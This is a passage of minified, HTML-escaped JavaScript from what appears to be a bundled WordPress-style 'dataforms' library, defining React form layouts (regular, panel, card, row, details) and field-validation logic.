e?.type===&quot;row&quot;?t={type:&quot;row&quot;,alignment:e?.alignment??&quot;center&quot;,styles:e?.styles??{}}:e?.type===&quot;details&quot;&amp;&amp;(t={type:&quot;details&quot;,summary:e?.summary??&quot;&quot;});return t}function moe(e){let t=foe(e?.layout),r=(e.fields??[]).map(o=&gt;{if(typeof o==&quot;string&quot;)return{id:o,layout:t};let n=o.layout?foe(o.layout):t;return{id:o.id,layout:n,...!!o.label&amp;&amp;{label:o.label},...!!o.description&amp;&amp;{description:o.description},...&quot;children&quot;in o&amp;&amp;Array.isArray(o.children)&amp;&amp;{children:moe({fields:o.children,layout:vn}).fields}}});return{layout:t,fields:r}}var W2=moe;var sr=s(C(),1);function JEe({title:e}){return(0,sr.jsx)(it,{direction:&quot;column&quot;,className:&quot;dataforms-layouts-regular__header&quot;,gap:&quot;lg&quot;,children:(0,sr.jsx)(it,{direction:&quot;row&quot;,align:&quot;center&quot;,children:(0,sr.jsx)(Q0.__experimentalHeading,{level:2,size:13,children:e})})})}function poe({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let{fields:a}=(0,Y2.useContext)(Es),l=t.layout,c=(0,Y2.useMemo)(()=&gt;({layout:vn,fields:t.children?t.children:[]}),[t]);if(t.children)return(0,sr.jsxs)(sr.Fragment,{children:[!o&amp;&amp;t.label&amp;&amp;(0,sr.jsx)(JEe,{title:t.label}),(0,sr.jsx)(yi,{data:e,form:c,onChange:r,validity:i?.children})]});let u=l.labelPosition,d=a.find(f=&gt;f.id===t.id);return!d||!d.Edit?null:u===&quot;side&quot;?(0,sr.jsxs)(it,{direction:&quot;row&quot;,className:&quot;dataforms-layouts-regular__field&quot;,gap:&quot;sm&quot;,children:[(0,sr.jsx)(&quot;div&quot;,{className:re(&quot;dataforms-layouts-regular__field-label&quot;,`dataforms-layouts-regular__field-label--label-position-${u}`),children:(0,sr.jsx)(Q0.BaseControl.VisualLabel,{children:d.label})}),(0,sr.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-regular__field-control&quot;,children:d.readOnly===!0?(0,sr.jsx)(d.render,{item:e,field:d}):(0,sr.jsx)(d.Edit,{data:e,field:d,onChange:r,hideLabelFromVision:!0,markWhenOptional:n,validity:i},d.id)})]}):(0,sr.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-regular__field&quot;,children:d.readOnly===!0?(0,sr.jsx)(sr.Fragment,{children:(0,sr.jsxs)(sr.Fragment,{children:[!o&amp;&amp;u!==&quot;none&quot;&amp;&amp;(0,sr.jsx)(Q0.BaseControl.VisualLabel,{children:d.label}),(0,sr.jsx)(d.render,{item:e,field:d})]})}):(0,sr.jsx)(d.Edit,{data:e,field:d,onChange:r,hideLabelFromVision:u===&quot;none&quot;?!0:o,markWhenOptional:n,validity:i})})}var zN=s(sw(),1),Im=s(A(),1),UN=s(E(),1),ba=s(D(),1),X2=s(he(),1);var Kg=s(A(),1),Zg=s(E(),1);var boe=s(he(),1),Soe=s(D(),1);function $Ee(e,t){return re(&quot;dataforms-layouts-panel__field-label&quot;,`dataforms-layouts-panel__field-label--label-position-${e}`,{&quot;has-error&quot;:t})}var hoe=$Ee;var q2=s(A(),1);var J0=s(C(),1);function eRe(e,t,r){return e?(0,J0.jsx)(q2.Tooltip,{text:t,placement:&quot;top&quot;,children:(0,J0.jsxs)(&quot;span&quot;,{className:&quot;dataforms-layouts-panel__field-label-error-content&quot;,children:[(0,J0.jsx)(q2.Icon,{icon:Cl,size:16}),r]})}):r}var goe=eRe;function voe(e){if(!e)return;let t=Object.keys(e).filter(r=&gt;r!==&quot;children&quot;);for(let r of t){let o=e[r];if(o!==void 0&amp;&amp;o.type===&quot;invalid&quot;)return o.message?o.message:r===&quot;required&quot;?&quot;A required field is empty&quot;:&quot;Unidentified validation error&quot;}if(e.children)for(let r of Object.values(e.children)){let o=voe(r);if(o)return o}}var yoe=voe;var Gi=s(C(),1);function $0({data:e,field:t,fieldLabel:r,summaryFields:o,validity:n,touched:i,disabled:a,onClick:l,&quot;aria-expanded&quot;:c}){let{labelPosition:u,editVisibility:d}=t.layout,f=yoe(n),m=i&amp;&amp;!!f,h=hoe(u,m),g=goe(m,f,r),v=re(&quot;dataforms-layouts-panel__field-trigger&quot;,`dataforms-layouts-panel__field-trigger--label-${u}`,{&quot;is-disabled&quot;:a,&quot;dataforms-layouts-panel__field-trigger--edit-always&quot;:d===&quot;always&quot;}),y=(0,boe.useInstanceId)($0,&quot;dataforms-layouts-panel__field-control&quot;),b=m?(0,Zg.sprintf)((0,Zg._x)(&quot;Edit %s (has errors)&quot;,&quot;field&quot;),r||&quot;&quot;):(0,Zg.sprintf)((0,Zg._x)(&quot;Edit %s&quot;,&quot;field&quot;),r||&quot;&quot;),_=(0,Soe.useRef)(null);return(0,Gi.jsxs)(&quot;div&quot;,{ref:_,className:v,onClick:a?void 0:()=&gt;{let T=_.current?.ownerDocument.defaultView?.getSelection();T&amp;&amp;T.toString().length&gt;0||l()},onKeyDown:a?void 0:T=&gt;{T.target===T.currentTarget&amp;&amp;(T.key===&quot;Enter&quot;||T.key===&quot; &quot;)&amp;&amp;(T.preventDefault(),l())},children:[u!==&quot;none&quot;&amp;&amp;(0,Gi.jsx)(&quot;span&quot;,{className:h,children:g}),u===&quot;none&quot;&amp;&amp;m&amp;&amp;(0,Gi.jsx)(Kg.Tooltip,{text:f,placement:&quot;top&quot;,children:(0,Gi.jsx)(&quot;span&quot;,{className:&quot;dataforms-layouts-panel__field-label-error-content&quot;,children:(0,Gi.jsx)(Kg.Icon,{icon:Cl,size:16})})}),(0,Gi.jsx)(&quot;span&quot;,{id:`${y}`,className:&quot;dataforms-layouts-panel__field-control&quot;,children:o.length&gt;1?(0,Gi.jsx)(&quot;span&quot;,{style:{display:&quot;flex&quot;,flexDirection:&quot;column&quot;,alignItems:&quot;flex-start&quot;,width:&quot;100%&quot;,gap:&quot;2px&quot;},children:o.map(T=&gt;(0,Gi.jsx)(&quot;span&quot;,{style:{width:&quot;100%&quot;},children:(0,Gi.jsx)(T.render,{item:e,field:T})},T.id))}):o.map(T=&gt;(0,Gi.jsx)(T.render,{item:e,field:T},T.id))}),!a&amp;&amp;(0,Gi.jsx)(Kg.Button,{className:&quot;dataforms-layouts-panel__field-trigger-icon&quot;,label:b,showTooltip:!1,icon:Mv,size:&quot;small&quot;,&quot;aria-expanded&quot;:c,&quot;aria-haspopup&quot;:&quot;dialog&quot;,&quot;aria-describedby&quot;:`${y}`})]})}var _oe=s(sw(),1),jN=s(yI(),1),dl=s(D(),1),Hn=s(E(),1);function woe(e){return e?Object.values(e).every(t=&gt;Object.entries(t).every(([r,o])=&gt;r===&quot;children&quot;&amp;&amp;o&amp;&amp;typeof o==&quot;object&quot;?woe(o):o.type!==&quot;invalid&quot;&amp;&amp;o.type!==&quot;validating&quot;)):!0}function tRe(e,t){let r=W2(e);if(r.fields.length===0)return[];let o=new Map;t.forEach(a=&gt;{o.set(a.id,a)});function n(a){if(&quot;children&quot;in a&amp;&amp;Array.isArray(a.children)){let u=a.children.map(n).filter(f=&gt;f!==null);if(u.length===0)return null;let d=o.get(a.id);if(d){let[f]=X0([d]);return{id:a.id,children:u,field:f}}return{id:a.id,children:u}}let l=o.get(a.id);if(!l)return null;let[c]=X0([l]);return{id:a.id,children:[],field:c}}return r.fields.map(n).filter(a=&gt;a!==null)}function Xg(e,t,r){if(e||(e={}),r.length===0)return e;let o={...e},n=o;for(let a=0;a&lt;r.length-1;a++){let l=r[a];n[l]||(n[l]={}),n[l]={...n[l]},n=n[l]}let i=r[r.length-1];return n[i]={...n[i]||{},...t},o}function xoe(e,t,r){if(!e||t.length===0)return e;let o={...e},n=o;for(let l=0;l&lt;t.length-1;l++){let c=t[l];if(!n[c])return e;n[c]={...n[c]},n=n[c]}let i=t[t.length-1];if(!n[i])return e;let a={...n[i]};if(delete a[r],Object.keys(a).length===0?delete n[i]:n[i]=a,Object.keys(o).length!==0)return o}function rRe(e,t,r){let{elementsCounterRef:o,setFormValidity:n,path:i,item:a}=r,l=(o.current[t.id]||0)+1;o.current[t.id]=l,e.then(c=&gt;{if(l===o.current[t.id]){if(!Array.isArray(c)){n(u=&gt;Xg(u,{elements:{type:&quot;invalid&quot;,message:(0,Hn.__)(&quot;Could not validate elements.&quot;)}},[...i,t.id]));return}t.field?.isValid.elements&amp;&amp;!t.field.isValid.elements.validate(a,{...t.field,elements:c})?n(u=&gt;Xg(u,{elements:{type:&quot;invalid&quot;,message:(0,Hn.__)(&quot;Value must be one of the elements.&quot;)}},[...i,t.id])):n(u=&gt;xoe(u,[...i,t.id],&quot;elements&quot;))}}).catch(c=&gt;{if(l!==o.current[t.id])return;let u;c instanceof Error?u=c.message:u=String(c)||(0,Hn.__)(&quot;Unknown error when running elements validation asynchronously.&quot;),n(d=&gt;Xg(d,{elements:{type:&quot;invalid&quot;,message:u}},[...i,t.id]))})}function oRe(e,t,r){let{customCounterRef:o,setFormValidity:n,path:i}=r,a=(o.current[t.id]||0)+1;o.current[t.id]=a,e.then(l=&gt;{if(a===o.current[t.id]){if(l===null){n(c=&gt;xoe(c,[...i,t.id],&quot;custom&quot;));return}if(typeof l==&quot;string&quot;){n(c=&gt;Xg(c,{custom:{type:&quot;invalid&quot;,message:l}},[...i,t.id]));return}n(c=&gt;Xg(c,{custom:{type:&quot;invalid&quot;,message:(0,Hn.__)(&quot;Validation could not be processed.&quot;)}},[...i,t.id]))}}).catch(l=&gt;{if(a!==o.current[t.id])return;let c;l instanceof Error?c=l.message:c=String(l)||(0,Hn.__)(&quot;Unknown error when running custom validation asynchronously.&quot;),n(u=&gt;Xg(u,{custom:{type:&quot;invalid&quot;,message:c}},[...i,t.id]))})}function Coe(e,t,r){if(t.field?.isValid.required&amp;&amp;!t.field.isValid.required.validate(e,t.field))return{required:{type:&quot;invalid&quot;}};if(t.field?.isValid.pattern&amp;&amp;!t.field.isValid.pattern.validate(e,t.field))return{pattern:{type:&quot;invalid&quot;,message:(0,Hn.__)(&quot;Value does not match the required pattern.&quot;)}};if(t.field?.isValid.min&amp;&amp;!t.field.isValid.min.validate(e,t.field))return{min:{type:&quot;invalid&quot;,message:(0,Hn.__)(&quot;Value is below the minimum.&quot;)}};if(t.field?.isValid.max&amp;&amp;!t.field.isValid.max.validate(e,t.field))return{max:{type:&quot;invalid&quot;,message:(0,Hn.__)(&quot;Value is above the maximum.&quot;)}};if(t.field?.isValid.minLength&amp;&amp;!t.field.isValid.minLength.validate(e,t.field))return{minLength:{type:&quot;invalid&quot;,message:(0,Hn.__)(&quot;Value is too short.&quot;)}};if(t.field?.isValid.maxLength&amp;&amp;!t.field.isValid.maxLength.validate(e,t.field))return{maxLength:{type:&quot;invalid&quot;,message:(0,Hn.__)(&quot;Value is too long.&quot;)}};if(t.field?.isValid.elements&amp;&amp;t.field.hasElements&amp;&amp;!t.field.getElements&amp;&amp;Array.isArray(t.field.elements)&amp;&amp;!t.field.isValid.elements.validate(e,t.field))return{elements:{type:&quot;invalid&quot;,message:(0,Hn.__)(&quot;Value must be one of the elements.&quot;)}};let o;if(t.field&amp;&amp;t.field.isValid.custom)try{let i=t.field.getValue({item:e});o=t.field.isValid.custom((0,_oe.default)(e,t.field.setValue({item:e,value:i})),t.field)}catch(i){let a;return i instanceof Error?a=i.message:a=String(i)||(0,Hn.__)(&quot;Unknown error when running custom validation.&quot;),{custom:{type:&quot;invalid&quot;,message:a}}}if(typeof o==&quot;string&quot;)return{custom:{type:&quot;invalid&quot;,message:o}};let n={};if(t.field&amp;&amp;t.field.isValid.elements&amp;&amp;t.field.hasElements&amp;&amp;typeof t.field.getElements==&quot;function&quot;&amp;&amp;(rRe(t.field.getElements(),t,r),n.elements={type:&quot;validating&quot;,message:(0,Hn.__)(&quot;Validating\u2026&quot;)}),o instanceof Promise&amp;&amp;(oRe(o,t,r),n.custom={type:&quot;validating&quot;,message:(0,Hn.__)(&quot;Validating\u2026&quot;)}),Object.keys(n).length&gt;0)return n;if(t.children.length&gt;0){let i={};t.children.forEach(l=&gt;{i[l.id]=Coe(e,l,{...r,path:[...r.path,t.id,&quot;children&quot;]})});let a={};return Object.entries(i).forEach(([l,c])=&gt;{c!==void 0&amp;&amp;(a[l]=c)}),Object.keys(a).length===0?void 0:{children:a}}}function Toe(e,t){let r=e?.field?.getValue({item:t});if(e.children.length===0)return r;let o=e.children.map(n=&gt;Toe(n,t));return o?{value:r,children:o}:r}function nRe(e,t,r){let[o,n]=(0,dl.useState)(),i=(0,dl.useRef)({}),a=(0,dl.useRef)({}),l=(0,dl.useRef)({}),c=(0,dl.useCallback)(()=&gt;{let u={customCounterRef:i,elementsCounterRef:a,setFormValidity:n,path:[],item:e},d=tRe(r,t);if(d.length===0){n(void 0);return}let f={},m=[];d.forEach(h=&gt;{let g=Toe(h,e);if(l.current.hasOwnProperty(h.id)&amp;&amp;(0,jN.default)(l.current[h.id],g)){m.push(h.id);return}l.current[h.id]=g;let v=Coe(e,h,u);v!==void 0&amp;&amp;(f[h.id]=v)}),n(h=&gt;{let g={...h,...f},v=[...m,...Object.keys(f)];return Object.keys(g).forEach(b=&gt;{g&amp;&amp;!v.includes(b)&amp;&amp;delete g[b]}),Object.keys(g).length===0&amp;&amp;(g=void 0),(0,jN.default)(h,g)?h:g})},[e,t,r]);return(0,dl.useEffect)(()=&gt;{c()},[c]),{validity:o,isValid:woe(o)}}var Poe=nRe;var koe=s(D(),1);function Ed(e,t){(0,koe.useEffect)(()=&gt;{t&amp;&amp;e.current&amp;&amp;e.current.querySelectorAll(&quot;input, textarea, select&quot;).forEach(o=&gt;{o.reportValidity()})},[t,e])}var Eoe=s(D(),1);function iRe(e){return Array.isArray(e)?e.map(t=&gt;typeof t==&quot;string&quot;?t:t.id):[]}var Z2=(e,t)=&gt;Array.isArray(e)&amp;&amp;e.length&gt;0?iRe(e).map(o=&gt;t.find(n=&gt;n.id===o)).filter(o=&gt;o!==void 0):[];var sRe=(e,t)=&gt;{let r=t.find(o=&gt;o.id===e.id);return r||t.find(o=&gt;{if(e.children){let n=e.children.filter(i=&gt;!i.children);return n.length===0?!1:o.id===n[0].id}return o.id===e.id})};function aRe(e){let{fields:t}=(0,Eoe.useContext)(Es),r=e.layout,o=Z2(r.summary,t),n=sRe(e,t),i=e.children?e.label:n?.label;return o.length===0?{summaryFields:n?[n]:[],fieldDefinition:n,fieldLabel:i}:{summaryFields:o,fieldDefinition:n,fieldLabel:i}}var K2=aRe;var Gn=s(C(),1);function lRe({data:e,field:t,onChange:r,fieldLabel:o,onClose:n,touched:i}){let{fields:a}=(0,ba.useContext)(Es),[l,c]=(0,ba.useState)({}),u=(0,ba.useMemo)(()=&gt;(0,zN.default)(e,l,{arrayMerge:(_,S)=&gt;S}),[e,l]),d=(0,ba.useMemo)(()=&gt;({layout:vn,fields:t.children?t.children:[{id:t.id,layout:vn}]}),[t]),f=a.map(_=&gt;({..._,Edit:_.Edit===null?void 0:_.Edit,isValid:{required:_.isValid.required?.constraint,elements:_.isValid.elements?.constraint,min:_.isValid.min?.constraint,max:_.isValid.max?.constraint,pattern:_.isValid.pattern?.constraint,minLength:_.isValid.minLength?.constraint,maxLength:_.isValid.maxLength?.constraint}})),{validity:m}=Poe(u,f,d),h=()=&gt;{r(l),n()},g=_=&gt;{c(S=&gt;(0,zN.default)(S,_,{arrayMerge:(x,T)=&gt;T}))},v=(0,X2.useFocusOnMount)(&quot;firstInputElement&quot;),y=(0,ba.useRef)(null),b=(0,X2.useMergeRefs)([v,y]);return Ed(y,i),(0,Gn.jsxs)(Im.Modal,{className:&quot;dataforms-layouts-panel__modal&quot;,onRequestClose:n,isFullScreen:!1,title:o,size:&quot;medium&quot;,children:[(0,Gn.jsx)(&quot;div&quot;,{ref:b,children:(0,Gn.jsx)(yi,{data:u,form:d,onChange:g,validity:m,children:(_,S,x,T)=&gt;(0,Gn.jsx)(_,{data:u,field:S,onChange:g,hideLabelFromVision:d.fields.length&lt;2,markWhenOptional:T,validity:x},S.id)})}),(0,Gn.jsxs)(it,{direction:&quot;row&quot;,className:&quot;dataforms-layouts-panel__modal-footer&quot;,gap:&quot;md&quot;,children:[(0,Gn.jsx)(Im.__experimentalSpacer,{style:{flex:1}}),(0,Gn.jsx)(Im.Button,{variant:&quot;tertiary&quot;,onClick:n,__next40pxDefaultSize:!0,children:(0,UN.__)(&quot;Cancel&quot;)}),(0,Gn.jsx)(Im.Button,{variant:&quot;primary&quot;,onClick:h,__next40pxDefaultSize:!0,children:(0,UN.__)(&quot;Apply&quot;)})]})]})}function cRe({data:e,field:t,onChange:r,validity:o}){let[n,i]=(0,ba.useState)(!1),[a,l]=(0,ba.useState)(!1),{fieldDefinition:c,fieldLabel:u,summaryFields:d}=K2(t);if(!c)return null;let f=()=&gt;{l(!1),i(!0)};return(0,Gn.jsxs)(Gn.Fragment,{children:[(0,Gn.jsx)($0,{data:e,field:t,fieldLabel:u,summaryFields:d,validity:o,touched:n,disabled:c.readOnly===!0,onClick:()=&gt;l(!0),&quot;aria-expanded&quot;:a}),a&amp;&amp;(0,Gn.jsx)(lRe,{data:e,field:t,onChange:r,fieldLabel:u??&quot;&quot;,onClose:f,touched:n})]})}var Roe=cRe;var Rd=s(A(),1),Aoe=s(E(),1),jc=s(D(),1);var Ooe=s(he(),1);var yn=s(C(),1);function uRe({title:e,onClose:t}){return(0,yn.jsx)(it,{direction:&quot;column&quot;,className:&quot;dataforms-layouts-panel__dropdown-header&quot;,gap:&quot;lg&quot;,children:(0,yn.jsxs)(it,{direction:&quot;row&quot;,gap:&quot;sm&quot;,align:&quot;center&quot;,children:[e&amp;&amp;(0,yn.jsx)(Rd.__experimentalHeading,{level:2,size:13,children:e}),(0,yn.jsx)(Rd.__experimentalSpacer,{style:{flex:1}}),t&amp;&amp;(0,yn.jsx)(Rd.Button,{label:(0,Aoe.__)(&quot;Close&quot;),icon:Kn,onClick:t,size:&quot;small&quot;})]})})}function dRe({touched:e,children:t}){let r=(0,jc.useRef)(null);return Ed(r,e),(0,yn.jsx)(&quot;div&quot;,{ref:r,children:t})}function fRe({data:e,field:t,onChange:r,validity:o}){let[n,i]=(0,jc.useState)(!1),[a,l]=(0,jc.useState)(null),c=(0,jc.useMemo)(()=&gt;({anchor:a,placement:&quot;left-start&quot;,offset:36,shift:!0}),[a]),[u,d]=(0,Ooe.__experimentalUseDialog)({focusOnMount:&quot;firstInputElement&quot;}),f=(0,jc.useMemo)(()=&gt;({layout:vn,fields:t.children?t.children:[{id:t.id,layout:vn}]}),[t]),m=(0,jc.useMemo)(()=&gt;{if(o!==void 0)return t.children?o?.children:{[t.id]:o}},[o,t]),{fieldDefinition:h,fieldLabel:g,summaryFields:v}=K2(t);return h?(0,yn.jsx)(&quot;div&quot;,{ref:l,className:&quot;dataforms-layouts-panel__field-dropdown-anchor&quot;,children:(0,yn.jsx)(Rd.Dropdown,{contentClassName:&quot;dataforms-layouts-panel__field-dropdown&quot;,popoverProps:c,focusOnMount:!1,onToggle:y=&gt;{y||i(!0)},renderToggle:({isOpen:y,onToggle:b})=&gt;(0,yn.jsx)($0,{data:e,field:t,fieldLabel:g,summaryFields:v,validity:o,touched:n,disabled:h.readOnly===!0,onClick:b,&quot;aria-expanded&quot;:y}),renderContent:({onClose:y})=&gt;(0,yn.jsx)(dRe,{touched:n,children:(0,yn.jsxs)(&quot;div&quot;,{ref:u,...d,children:[(0,yn.jsx)(uRe,{title:g,onClose:y}),(0,yn.jsx)(yi,{data:e,form:f,onChange:r,validity:m,children:(b,_,S,x)=&gt;(0,yn.jsx)(b,{data:e,field:_,onChange:r,hideLabelFromVision:(f?.fields??[]).length&lt;2,markWhenOptional:x,validity:S},_.id)})]})})})}):null}var Ioe=fRe;var HN=s(C(),1);function Noe({data:e,field:t,onChange:r,validity:o}){return t.layout.openAs===&quot;modal&quot;?(0,HN.jsx)(Roe,{data:e,field:t,onChange:r,validity:o}):(0,HN.jsx)(Ioe,{data:e,field:t,onChange:r,validity:o})}var Ad=s(A(),1),Boe=s(he(),1),bi=s(D(),1),GN=s(E(),1);var Q2=s(E(),1),Foe=s(C(),1);function Doe(e){if(!e)return 0;let t=0,r=Object.keys(e).filter(o=&gt;o!==&quot;children&quot;);for(let o of r)e[o]?.type===&quot;invalid&quot;&amp;&amp;t++;if(e.children)for(let o of Object.values(e.children))t+=Doe(o);return t}function J2({validity:e}){let t=Doe(e);return t===0?null:(0,Foe.jsx)(n6,{intent:&quot;high&quot;,children:(0,Q2.sprintf)((0,Q2._n)(&quot;%d field needs attention&quot;,&quot;%d fields need attention&quot;,t),t)})}var Go=s(C(),1);function mRe(e,t,r){if(!t||Array.isArray(t)&amp;&amp;t.length===0)return!1;let n=(Array.isArray(t)?t:[t]).find(i=&gt;typeof i==&quot;string&quot;?i===e.id:typeof i==&quot;object&quot;&amp;&amp;&quot;id&quot;in i?i.id===e.id:!1);return n?typeof n==&quot;string&quot;?!0:typeof n==&quot;object&quot;&amp;&amp;&quot;visibility&quot;in n?n.visibility===&quot;always&quot;||n.visibility===&quot;when-collapsed&quot;&amp;&amp;!r:!0:!1}function WN({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let{fields:a}=(0,bi.useContext)(Es),l=t.layout,c=(0,bi.useRef)(null),u=(0,Boe.useInstanceId)(WN,&quot;dataforms-layouts-card-card-body&quot;),d=(0,bi.useMemo)(()=&gt;({layout:vn,fields:t.children??[]}),[t]),{isOpened:f,isCollapsible:m}=l,[h,g]=(0,bi.useState)(f),[v,y]=(0,bi.useState)(!1);(0,bi.useEffect)(()=&gt;{g(f)},[f]);let b=(0,bi.useCallback)(()=&gt;{g(k=&gt;(k&amp;&amp;y(!0),!k))},[]),_=m?h:!0,S=(0,bi.useCallback)(()=&gt;{y(!0)},[y]);Ed(c,_&amp;&amp;v);let T=Z2(l.summary,a).filter(k=&gt;mRe(k,l.summary,_)),R=v&amp;&amp;l.isCollapsible?(0,Go.jsx)(J2,{validity:i}):null,F={blockStart:&quot;medium&quot;,blockEnd:&quot;medium&quot;,inlineStart:&quot;medium&quot;,inlineEnd:&quot;medium&quot;},B=t.label,z,L;if(t.children)z=!!B&amp;&amp;l.withHeader,L=(0,Go.jsxs)(Go.Fragment,{children:[t.description&amp;&amp;(0,Go.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-card__field-description&quot;,children:t.description}),(0,Go.jsx)(yi,{data:e,form:d,onChange:r,validity:i?.children})]});else{let k=a.find(U=&gt;U.id===t.id);if(!k||!k.Edit)return null;let I=Nm(&quot;regular&quot;)?.component;if(!I)return null;B=k.label,z=!!B&amp;&amp;l.withHeader,L=(0,Go.jsx)(I,{data:e,field:t,onChange:r,hideLabelFromVision:o||z,markWhenOptional:n,validity:i})}let M={blockStart:z?&quot;none&quot;:&quot;medium&quot;,blockEnd:&quot;medium&quot;,inlineStart:&quot;medium&quot;,inlineEnd:&quot;medium&quot;};return(0,Go.jsxs)(Ad.Card,{className:&quot;dataforms-layouts-card__field&quot;,size:F,children:[z&amp;&amp;(0,Go.jsxs)(Ad.CardHeader,{className:&quot;dataforms-layouts-card__field-header&quot;,onClick:m?b:void 0,style:{cursor:m?&quot;pointer&quot;:void 0},isBorderless:!0,children:[(0,Go.jsxs)(&quot;div&quot;,{style:{height:m?void 0:&quot;40px&quot;,width:&quot;100%&quot;,display:&quot;flex&quot;,justifyContent:&quot;space-between&quot;,alignItems:&quot;center&quot;},children:[(0,Go.jsx)(&quot;span&quot;,{className:&quot;dataforms-layouts-card__field-header-label&quot;,children:B}),R,T.length&gt;0&amp;&amp;l.withHeader&amp;&amp;(0,Go.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-card__field-summary&quot;,children:T.map(k=&gt;(0,Go.jsx)(k.render,{item:e,field:k},k.id))})]}),m&amp;&amp;(0,Go.jsx)(Ad.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,icon:_?Tv:Cv,&quot;aria-expanded&quot;:_,&quot;aria-controls&quot;:u,&quot;aria-label&quot;:_?(0,GN.__)(&quot;Collapse&quot;):(0,GN.__)(&quot;Expand&quot;)})]}),(_||!z)&amp;&amp;(0,Go.jsx)(Ad.CardBody,{id:u,size:M,className:&quot;dataforms-layouts-card__field-control&quot;,ref:c,onBlur:S,children:L})]})}var Moe=s(A(),1);var Io=s(C(),1);function pRe({title:e}){return(0,Io.jsx)(it,{direction:&quot;column&quot;,className:&quot;dataforms-layouts-row__header&quot;,gap:&quot;lg&quot;,children:(0,Io.jsx)(it,{direction:&quot;row&quot;,align:&quot;center&quot;,children:(0,Io.jsx)(Moe.__experimentalHeading,{level:2,size:13,children:e})})})}var hRe=({children:e})=&gt;(0,Io.jsx)(Io.Fragment,{children:e});function Loe({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let a=t.layout;if(t.children){let c={layout:vn,fields:t.children};return(0,Io.jsxs)(&quot;div&quot;,{className:&quot;dataforms-layouts-row__field&quot;,children:[!o&amp;&amp;t.label&amp;&amp;(0,Io.jsx)(pRe,{title:t.label}),(0,Io.jsx)(it,{direction:&quot;row&quot;,align:a.alignment,gap:&quot;lg&quot;,children:(0,Io.jsx)(yi,{data:e,form:c,onChange:r,validity:i?.children,as:hRe,children:(u,d,f)=&gt;(0,Io.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-row__field-control&quot;,style:a.styles[d.id],children:(0,Io.jsx)(u,{data:e,field:d,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:f})},d.id)})})]})}let l=Nm(&quot;regular&quot;)?.component;return l?(0,Io.jsx)(Io.Fragment,{children:(0,Io.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-row__field-control&quot;,children:(0,Io.jsx)(l,{data:e,field:t,onChange:r,markWhenOptional:n,validity:i})})}):null}var Si=s(D(),1),Voe=s(E(),1);var zc=s(C(),1);function joe({data:e,field:t,onChange:r,validity:o}){let{fields:n}=(0,Si.useContext)(Es),i=(0,Si.useRef)(null),a=(0,Si.useRef)(null),[l,c]=(0,Si.useState)(!1),[u,d]=(0,Si.useState)(!1),f=(0,Si.useMemo)(()=&gt;({layout:vn,fields:t.children??[]}),[t]);(0,Si.useEffect)(()=&gt;{let y=i.current;if(!y)return;let b=()=&gt;{let _=y.open;_||c(!0),d(_)};return y.addEventListener(&quot;toggle&quot;,b),()=&gt;{y.removeEventListener(&quot;toggle&quot;,b)}},[]),Ed(a,u&amp;&amp;l);let m=(0,Si.useCallback)(()=&gt;{c(!0)},[]);if(!t.children)return null;let h=t.layout.summary??&quot;&quot;,g=h?n.find(y=&gt;y.id===h):void 0,v;return g&amp;&amp;g.render?v=(0,zc.jsx)(g.render,{item:e,field:g}):v=t.label||(0,Voe.__)(&quot;More details&quot;),(0,zc.jsxs)(&quot;details&quot;,{ref:i,className:&quot;dataforms-layouts-details__details&quot;,children:[(0,zc.jsx)(&quot;summary&quot;,{className:&quot;dataforms-layouts-details__summary&quot;,children:(0,zc.jsxs)(it,{direction:&quot;row&quot;,align:&quot;center&quot;,gap:&quot;md&quot;,className:&quot;dataforms-layouts-details__summary-content&quot;,children:[v,l&amp;&amp;(0,zc.jsx)(J2,{validity:o})]})}),(0,zc.jsx)(&quot;div&quot;,{ref:a,className:&quot;dataforms-layouts-details__content&quot;,onBlur:m,children:(0,zc.jsx)(yi,{data:e,form:f,onChange:r,validity:o?.children})})]})}var Fm=s(C(),1),gRe=[{type:&quot;regular&quot;,component:poe,wrapper:({children:e})=&gt;(0,Fm.jsx)(it,{direction:&quot;column&quot;,className:&quot;dataforms-layouts__wrapper&quot;,gap:&quot;lg&quot;,children:e})},{type:&quot;panel&quot;,component:Noe,wrapper:({children:e})=&gt;(0,Fm.jsx)(it,{direction:&quot;column&quot;,className:&quot;dataforms-layouts__wrapper&quot;,gap:&quot;md&quot;,children:e})},{type:&quot;card&quot;,component:WN,wrapper:({children:e})=&gt;(0,Fm.jsx)(it,{direction:&quot;column&quot;,className:&quot;dataforms-layouts__wrapper&quot;,gap:&quot;xl&quot;,children:e})},{type:&quot;row&quot;,component:Loe,wrapper:({children:e,layout:t})=&gt;(0,Fm.jsx)(it,{direction:&quot;column&quot;,className:&quot;dataforms-layouts__wrapper&quot;,gap:&quot;lg&quot;,children:(0,Fm.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-row__field&quot;,children:(0,Fm.jsx)(it,{direction:&quot;row&quot;,gap:&quot;lg&quot;,align:t.alignment,children:e})})})},{type:&quot;details&quot;,component:joe}];function Nm(e){return gRe.find(t=&gt;t.type===e)}var $2=s(C(),1),vRe=({children:e})=&gt;(0,$2.jsx)(it,{direction:&quot;column&quot;,className:&quot;dataforms-layouts__wrapper&quot;,gap:&quot;lg&quot;,children:e});function yi({data:e,form:t,onChange:r,validity:o,children:n,as:i}){let{fields:a}=(0,eE.useContext)(Es),l=(0,eE.useMemo)(()=&gt;{let d=a.filter(m=&gt;!!m.isValid?.required).length,f=a.length-d;return d&gt;f},[a]);function c(d){return a.find(f=&gt;f.id===d.id)}let u=i??Nm(t.layout.type)?.wrapper??vRe;return(0,$2.jsx)(u,{layout:t.layout,children:t.fields.map(d=&gt;{let f=Nm(d.layout.type)?.component;if(!f)return null;let m=d.children?void 0:c(d);return m&amp;&amp;m.isVisible&amp;&amp;!m.isVisible(e)?null:n?n(f,d,o?.[d.id],l):(0,$2.jsx)(f,{data:e,field:d,onChange:r,markWhenOptional:l,validity:o?.[d.id]},d.id)})})}var qN=s(C(),1);function ZN({data:e,form:t,fields:r,onChange:o,validity:n}){let 